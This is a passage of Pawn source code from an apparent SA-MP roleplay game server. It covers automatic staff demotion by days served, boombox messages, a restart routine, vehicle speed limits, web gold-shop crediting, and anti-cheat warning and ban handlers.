		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 2 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 2 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	
	
	if(PINFO[playerid][pAdmin] >= 1 || PINFO[playerid][pHelper] >= 1 || PINFO[playerid][pLeader] >= 1)
	{
	 if(PINFO[playerid][pAdmin] < 6)
	 {
	  if(PINFO[playerid][pStaffDays] < -9)
	  {
	   ASAR[playerid] = 0;
	   HSAR[playerid] = 0;
	   PINFO[playerid][pHelper] = 0;
		SaveKonVal(playerid, "pHelper", 0);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
		PINFO[playerid][pLeader] = 0;
		SaveKonVal(playerid, "pLeader", 0);
		PINFO[playerid][pStaffDays] = 0;
		SaveKonVal(playerid, "pStaffDays", 0);
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted by AdmBot, reason: Low days in staff.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	   new strmstrs[256];
	   format(strmstrs,256,"You'll be reconnect to sync.");
	   SendClientMessage(playerid, COLOR_Good, strmstrs);
	   //OnPlayerCommandText(playerid, "/relog");
	   RelogPlayerDovvom[playerid] = SetTimerEx("Relogme2", 50, false, "i", playerid);
	}
	 }
   }
	
	
	
	
	
	
	
	
	
	
	
	
	
	



		if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 3 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 3 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 3 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}


	
	
	
	






		if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 3 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 4 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 4 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}




	
	
	
	
	
	
	
	




		if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 40 && PINFO[playerid][pStaffDays] < 50)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 5 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 5;
		SaveKonVal(playerid, "pHelper", 5);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 5 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 30 && PINFO[playerid][pStaffDays] < 40)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 4 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 4;
		SaveKonVal(playerid, "pHelper", 4);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 4 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 20 && PINFO[playerid][pStaffDays] < 30)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 3 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 3;
		SaveKonVal(playerid, "pHelper", 3);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to admin level 3 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= 10 && PINFO[playerid][pStaffDays] < 20)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 2 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 2;
		SaveKonVal(playerid, "pHelper", 2);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 2 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
	}
	if(PINFO[playerid][pAdmin] == 5 && PINFO[playerid][pStaffDays] >= -9 && PINFO[playerid][pStaffDays] < 10)
	{
		new sttrr[256];
		format(sttrr,256,"{FFFFFF}%s has demoted to helper level 1 by AdmBot.", PINFO[playerid][pName]);
	   AdminWarn(sttrr);
		PINFO[playerid][pHelper] = 1;
		SaveKonVal(playerid, "pHelper", 1);
		PINFO[playerid][pAdmin] = 0;
		SaveKonVal(playerid, "pAdmin", 0);
	   new strmstr[256];
	   format(strmstr,256,"You've demoted to helper level 1 from admin level 5 by AdmBot.");
	   SendClientMessage(playerid, COLOR_Good, strmstr);
		ASAR[playerid] = 0;
	}






	
	
	
	
if(PINFO[playerid][pAdmin] >= 7 && PINFO[playerid][pAdmin] < 10)
{
hstrm[playerid] = 1;
}
else
{
hstrm[playerid] = 0;
}
	
	
	
	
	
	
	
	
	
	
	 for( new u; u < MAX_PLAYERS; u++ )
	 {
		if(BBoxDare[u] == 1 && BBoxDid[playerid] == 0 && mpop[playerid] != 5566 && PlayerToPoint(45.0, playerid, BoomBoxPos[0],BoomBoxPos[1],BoomBoxPos[2]))
		{
		   new plname[MAX_PLAYER_NAME];
			 GetPlayerName(u, plname, sizeof(plname));
			new strmstr[256];
			format(strmstr,256,"You're listening to %s's BoomBox.", plname);
			  SendClientMessage(playerid, COLOR_Good, strmstr);
			  BBoxDareG[playerid] = 1;
			  BBoxDid[playerid] = 1;
		  }
	  }
	 for( new u; u < MAX_PLAYERS; u++ )
	 {
		if(BBoxDare[u] == 1 && BBoxDareG[playerid] == 1 && BBoxDid[playerid] == 1 && mpop[playerid] != 5566 && !PlayerToPoint(45.0, playerid, BoomBoxPos[0],BoomBoxPos[1],BoomBoxPos[2]))
		{
		   new plname[MAX_PLAYER_NAME];
			 GetPlayerName(u, plname, sizeof(plname));
			new strmstr[256];
			format(strmstr,256,"You're stopped listening to the BoomBox.", plname);
			  SendClientMessage(playerid, COLOR_Good, strmstr);
			  BBoxDareG[playerid] = 0;
			  BBoxDid[playerid] = 0;
		  }
	  }
	if(SVRestart == 1 && RestartTimer == 0)
	{
	   for( new u; u < MAX_PLAYERS; u++ )
	   {
	   new pingsz[128];
	   format(pingsz, sizeof(pingsz), "The server was updated. Stay in game untill connect again.");
	   TextDrawSetString(TDRestart, pingsz);
	   SCM(u, COLOR_WHITE, "Server update countdown finished.");
	   SCM(u, COLOR_WHITE, "Don't close your game! You'll be connect as soon as possible to server.");
	   SCM(u, COLOR_WHITE, "The server will run soon.");
	   SaveAccounts();
		SVRestart = 0;
		RestartTimer = 0;
		RelogPlayerDovvom[u] = SetTimerEx("Relogme2", 50, false, "i", u);
	   }
	   print(">>> All players reconnected due to update");
	   new meow[60];
	   format(meow, sizeof(meow), "hostname %s %s: RPG Server", SERVER_NAME1, SERVER_NAME2);
	   SendRconCommand(meow);
	   SendRconCommand("password 0");
	   SetTimer("SVExitKon", 250, 0);
	}
	/*
	if(SafeOn == 1 && mpop[playerid] != 5566 && PlayerToPoint(140.0, playerid, 1643.055786,-2238.402832,13.227713)) {
	TextDrawShowForPlayer(playerid, SafeZone)
	SafeZoneCheck[playerid] = 1;
	}
	else if(SafeOn == 1 && mpop[playerid] != 5566 && PlayerToPoint(80.0, playerid, 1459.289428,-1033.327148,24.987575)) {
	TextDrawShowForPlayer(playerid, SafeZone)
	SafeZoneCheck[playerid] = 1;
	}
	else {
	TextDrawHideForPlayer(playerid, SafeZone)
	SafeZoneCheck[playerid] = 0;
	}
	*/

	if(GodmodeFeature[playerid] == true) {
	SetPlayerKoon(true, playerid, 100000);
	}
	new kk, ud, lr;
	GetPlayerKeys(playerid, kk, ud, lr);
	#pragma unused kk
	if(ud < 0 || ud > 0) AFKTime[playerid] = 0;
	if(lr < 0 || lr > 0) AFKTime[playerid] = 0;
	CheckSpecing(playerid);

	if(!IsPlayerConnected(Specer[playerid]) && Specer[playerid] != 9999) {
	Specer[playerid] = 9999;
	}
	if(!IsPlayerConnected(SpecOnt[playerid]) && SpecOnt[playerid] != 9999) {
	SpecOnt[playerid] = 9999;
	}

	new VehicleID = GetPlayerVehicleID(playerid);
	if (MaxSorat[VehicleID] != 0 && GetPlayerState( playerid ) == PLAYER_STATE_DRIVER )
	{

	   if ( VehicleID )
	   {
		  static
			 /*Float:s_fX,
			 Float:s_fY,
			 Float:s_fZ,*/
			 Float:s_fVX,
			 Float:s_fVY,
			 Float:possx,Float:possy,Float:possz,
			 Float:s_fVZ
		  ;

		  //GetVehiclePos( VehicleID, s_fX, s_fY, s_fZ );
		  GetVehicleVelocity( VehicleID, s_fVX, s_fVY, s_fVZ );

		  //if ( !IsPlayerInRangeOfPoint( playerid, VehicleSpeedLimit[ VehicleID ] + 0.05, s_fX + s_fVX, s_fY + s_fVY, s_fZ + s_fVZ ) )
		  if(soratbegirs(VehicleID) >= MaxSorat[VehicleID])
		  {
			 static
				Float:s_fLength
			 ;

			 s_fLength = floatsqroot( ( s_fVX * s_fVX ) + ( s_fVY * s_fVY ) + ( s_fVZ * s_fVZ ) );

			 s_fVX = ( s_fVX / s_fLength ) * (MaxSorat[VehicleID]/220.0);
			 s_fVY = ( s_fVY / s_fLength ) * (MaxSorat[VehicleID]/220.0);
			 GetVehicleVelocity( VehicleID , possx , possy , possz);
			 SetVehicleVelocity( VehicleID, s_fVX, s_fVY, possz);
		  }
	   }
	}
	return 1;
}
forward Erfan5T();
public Erfan5T() {
Erfan5H = 0;
MoveDynamicObject(erfan5, 1277.54077, -825.92889, 108.96400,0.1,   0.96000, -91.20000, -17.58000);
return 1;
}
public CheckWeaponHack(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   if(gPlayerLogged[playerid] == 1 && TofAll[playerid] == 1 && Cheating[playerid] == 0)
	   {
		/*
		  for(new i = 1;i<46;i++)
		  {
			 if(i > 20 || i < 18)
			 {
				if(PINFO[playerid][pAdmin] < 3 && GetPlayerWeapon(playerid) == i && ACKolang[playerid][i] != true)
				{
					new WeapName[128];
					GetWeaponName(i, WeapName, 128);
						Cheating[playerid] = 1;
						new reas[60];
						format(reas, sizeof(reas), "Weapon Hack (%s)",WeapName);
						if(PINFO[playerid][pAdmin] == 0) return BanPlayer(playerid, PINFO[playerid][pName], 0, reas, 1, 1);
						//new str[512];
						//format(str, 512, "[Admin-Warn]: {FFFFFF}Server detected a weapon hack on %s(%i).",PINFO[playerid][pName],playerid);
						//AdminWarn(str);
					//BanPlayer(playerid, PINFO[playerid][pName], 0, reason, 1);
						//KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
						return 1;
				}

			 }
		  }*/
		  if(GetPlayerSpecialAction(playerid) == SPECIAL_ACTION_USEJETPACK && PINFO[playerid][pAdmin] < 4 && JetAllow[playerid] == 0)
		  {
			 new cheatername[MAX_PLAYER_NAME];
			 GetPlayerName(playerid,cheatername,MAX_PLAYER_NAME);
				Cheating[playerid] = 1;
				//new str[512];
				//format(str, 512, "[Admin-Warn]: {FFFFFF}Server detected a weapon hack(jetpack) on %s(%i).",PINFO[playerid][pName],playerid);
				//AdminWarn(str);
				new reas[22];
				format(reas, sizeof(reas), "Weapon Hack (Jetpack)");
				if(PINFO[playerid][pAdmin] == 0) return BanPlayer(playerid, PINFO[playerid][pName], 0, reas, 1, 1);
				//KickWithMessage(playerid, COLOR_LIGHTRED, "You have been kicked due to cheating or hacking.");
			 return 1;
		  }
	   }
	}
	return 1;
}
public OnLoadWeb(playerid) {

	PlayerInfo[playerid][pGetWeb] = cache_get_row_int(0,129,handle);

	if(PINFO[playerid][pGetWeb] == 1) {
	PINFO[playerid][pGetWeb] = 0;
	SaveKonVal(playerid, "pGetWeb", 0);

	PlayerInfo[playerid][pMember] = cache_get_row_int(0,32,handle),
	PlayerInfo[playerid][pPunish] = cache_get_row_int(0,33,handle),
	PlayerInfo[playerid][pFwarn] = cache_get_row_int(0,34,handle),
	PlayerInfo[playerid][pRank] = cache_get_row_int(0,35,handle),
	PlayerInfo[playerid][fSkin] = cache_get_row_int(0,37,handle),
	PlayerInfo[playerid][pTeam] = cache_get_row_int(0,46,handle);
	PlayerInfo[playerid][pCard] = cache_get_row_int(0,131,handle);
	MedicBill[playerid] = 0;
	ResetPlayerKolang(playerid);
	SetSpawnKol(playerid);
	SpawnPlayer(playerid);
	new string[512];
	format(string, sizeof(string), "You have been kicked from your Family / Faction by Leader for %d fpunish. [UCP]",PINFO[playerid][pPunish]);
	SendMessage(playerid, COLOR_LIGHTRED, string);
	SendMessage(playerid, COLOR_LIGHTBLUE, "You are now a Civilian again.");
	//PlayerInfo[playerid][pSoldier] = 0;
	//SaveKonVal(playerid, "pSoldier", 0);
	MedicBill[playerid] = 0;
	ResetPlayerKolang(playerid);
	SetSpawnKol(playerid);
	SpawnPlayer(playerid);
	}
	if(PINFO[playerid][pGetWeb] > 199) {


	PlayerInfo[playerid][pGold] += PINFO[playerid][pGetWeb];
	SaveKonVal(playerid, "pGold", PlayerInfo[playerid][pGold]);

	new str[512];
	format(str, sizeof(str), "You bought %d golds from gold shop successfully.",PlayerInfo[playerid][pGetWeb]);
	SendMessage(playerid, COLOR_SINA3, str);

	PINFO[playerid][pGetWeb] = 0;
	SaveKonVal(playerid, "pGetWeb", 0);
	}
}
/*
forward detectfree(playerid,code);
public detectfree(playerid,code) {
if(IsPlayerConnected(playerid)) {
if(anticheat[playerid] != 0 || flycheat[playerid] != 0) {
EnableAntiCheatForPlayer(playerid, code, 1);
}
}
return 1;
}
*/
forward OnCheatDetected(playerid, ip_address[], type, code);
public OnCheatDetected(playerid, ip_address[], type, code) {
new vehv = GetPlayerVehicleID(playerid);
	if(OnMashinKharidan[playerid] == 1 && (code == 4 || code == 50)) return 1;
	if(GodmodeFeature[playerid] == true && (code == 11 || code == 12 || code == 19 || code == 20)) return 1;
	if((code == 2 || code == 21) && mpop[playerid] != 5566) return 1;
	if(VehicleTurbo[vehv] == 1 && code == 10) return 1;
	if(Raft[playerid] != 0 && code == 5) return 1;
	
	if(code == 0 || code == 1 || code == 7 || code == 8 || code == 4)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 4, 0.0, 0, 0);
	    }
	}
	if(code == 25)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 5, 0.0, GetPlayerVehicleID(playerid), GetVehicleSpeed(GetPlayerVehicleID(playerid)));
	    }
	}
	if(code == 9)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 6, 0.0, 0, 0);
	    }
	}
	if(code == 28)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 8, 0.0, 0, 0);
	    }
	}
	if(code == 43 || code == 44 || code == 45 || code == 46 || code == 47)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 13, 0.0, 0, 0);
	    }
	}
	if(code == 34)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 14, 0.0, 0, 0);
	    }
	}
	if(code == 26)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 15, 0.0, 0, 0);
	    }
	}
	if(code == 19)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 16, 0.0, 0, 0);
	    }
	}
	if(code == 20)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 17, 0.0, 0, 0);
	    }
	}
	if(code == 18)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 18, 0.0, 0, 0);
	    }
	}
	if(code == 16)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 19, 0.0, 0, 0);
	    }
	}
	if(code == 17)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 20, 0.0, 0, 0);
	    }
	}
	if(code == 2)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 21, 0.0, 0, 0);
	    }
	}
	if(code == 3)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 22, 0.0, 0, 0);
	    }
	}
	if(code == 11)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 23, 0.0, 0, 0);
	    }
	}
	if(code == 12)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 24, 0.0, 0, 0);
	    }
	}
	if(code == 13)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 25, 0.0, 0, 0);
	    }
	}
	if(code == 6)
	{
		if(anticheat[playerid] != 0)
		{
	    CheatWarn(playerid, 26, 0.0, 0, 0);
	    }
	}
	if(code == 32 || code == 37)
	{
	    CheatWarn(playerid, 27, 0.0, 0, 0);
	}

	/*
	new string[512];
	new name[MAX_PLAYER_NAME];
	GetPlayerName(playerid, name, sizeof(name));

	EnableAntiCheatForPlayer(playerid, code, 0);

	format(string,sizeof(string),"[Admin-Warn]: {FFFFFF}Server detected a(n) %s on %s(%d). ",CheatName[code],name,playerid);
	ABroadCast(COLOR_AdminWarn,string,1);

	SetTimerEx("detectfree", 10000, false, "ii", playerid,code)
	*/
	return 1;
}




public OnTrueTeleport(playerid)
{
	if(TrueTeleport[playerid]==1)return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 617.5360, -1.9900, 1000.6371))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 1041.0819, -1019.0815, 32.1075))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 2644.3210, -2044.5756, 13.6395))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 616.7884, -74.8150, 997.8044))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 2386.8689, 1050.0933, 10.8203))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 617.6259, -2.3331, 1000.6466))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, -2721.9548, 217.4736, 4.4844))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 615.2839, -124.2390, 997.7212))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, 617.5148, -1.5813, 1000.6307))return 1;
	if(IsPlayerInRangeOfPoint(playerid, 20.0, -1935.2527, 246.4350, 34.4609))return 1;
	if(flymode[playerid] == 1)return 1;
	if(gPlayerLogged[playerid] == 0)return 1;
	if(FullySpawned[playerid] != 0)return 1;
	if(Specing[playerid] >= 1)return 1;
	return 0;
}

public CheatWarn(playerid, code, Float:Dist, vehid, speed)
{

	new string[250];
	new ping = GetPlayerPing(playerid);
	new Float:playerpackets = NetStats_PacketLossPercent(playerid);
	// 1-TeleportHack/Airbreak
	if(code == 1 && anticheat[playerid] != 0)
	{
	    if(!OnTrueTeleport(playerid))
	    {
	        if(IsPlayerInAnyVehicle(playerid))
	        {
	            if(GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
		        {
//					new model = GetVehicleModel(GetPlayerVehicleID(playerid)) - 400;
					format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) tp/abk suspicious D: %0.2f, PL: %0.2f, FPS: %d (InVeh)", PlayerInfo[playerid][pName],playerid,Dist,playerpackets,pFPS[playerid]);
					if(cheatcode1[playerid] != 1)
					{
					SendAdminMessage(COLOR_AdminWarn, string);
	        		SetTimerEx("cheatcode1timer", 5000, 0, "i", playerid);
	        		cheatcode1[playerid] = 1;
					}
	        		CheatsCount[playerid] ++;
	        		//if(CheatsCount[playerid] >= CheatMaxWarn)
	        		//{
			        //new bcx[144];
		            //format(bcx, 144, "AntiCheat kicked you cause of your max warns (%i/%i)", CheatsCount[playerid], CheatMaxWarn);
		            //SendMessage(playerid, COLOR_LIGHTRED, bcx);
		            //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		            //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	        		//RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
					//}
	        		
		        }
	        }
	        else
	        {
	            format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) tp/abk suspicious D: %0.2f, PL: %0.2f, FPS: %d (OnFoot)", PlayerInfo[playerid][pName],playerid,Dist,playerpackets,pFPS[playerid]);
	            if(cheatcode1[playerid] != 1)
                {
	        	SendAdminMessage(COLOR_AdminWarn, string);
        		SetTimerEx("cheatcode1timer", 5000, 0, "i", playerid);
        		cheatcode1[playerid] = 1;
	        	}
        		CheatsCount[playerid] ++;
	        	//if(CheatsCount[playerid] >= CheatMaxWarn)
	        	//{
			        //new bcx[144];
		            //format(bcx, 144, "AntiCheat kicked you cause of your max warns (%i/%i)", CheatsCount[playerid], CheatMaxWarn);
		            //SendMessage(playerid, COLOR_LIGHTRED, bcx);
		         //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		         //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	        	  //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
                //}
	        }
	    }
	    else
	    {
	        TrueTeleport[playerid] = 0;
	    }
	}
	//Carshooter - SpamCar
	if(code == 2 && anticheat[playerid] != 0)
	{
	    format(string, sizeof(string), "[Admin-Warn]:{ffffff} %s(%i) is shooting cars", PlayerInfo[playerid][pName],playerid);
	    if(cheatcode2[playerid] != 1)
	    {
	    //SendAdminMessage(COLOR_AdminWarn, string);
   		SetTimerEx("cheatcode2timer", 5000, 0, "i", playerid);
   		cheatcode2[playerid] = 1;
	    }
        //CheatsCount[playerid] ++;
        //if(CheatsCount[playerid] >= CheatMaxWarn)
	    //{
			        //new bcx[144];
		            //format(bcx, 144, "AntiCheat kicked you cause of your max warns (%i/%i)", CheatsCount[playerid], CheatMaxWarn);
		            //SendMessage(playerid, COLOR_LIGHTRED, bcx);
		 //SCM(playerid, COLOR_LIGHTRED, "AntiCheat kicked you with reason: Cheating.");
		 //SCM(playerid, COLOR_LIGHTRED, "Reconnecting...");
	     //RelogPlayerfCheat[playerid] = SetTimerEx("Relogmec", 50, false, "i", playerid);
        //}
	}
	//Speedhack
	if(code == 3 && anticheat[playerid] != 0)
	{
	    new model = GetVehicleModel(GetPlayerVehicleID(playerid)) - 400;
		format(string, sizeof(string), "[Admin-Warn]: {FFFFFF}Too Much Speed: %s(%i) (%dKm/h), V:%i(%s)", PlayerInfo[playerid][pName],playerid,speed,GetPlayerVehicleID(playerid),aVehicleNames[model]);
		//if(cheatcode3[playerid] != 1)
		//{
		//SendAdminMessage(COLOR_AdminWarn, string);
		//SetTimerEx("cheatcode3timer", 5000, 0, "i", playerid);
		//cheatcode3[playerid] = 1;
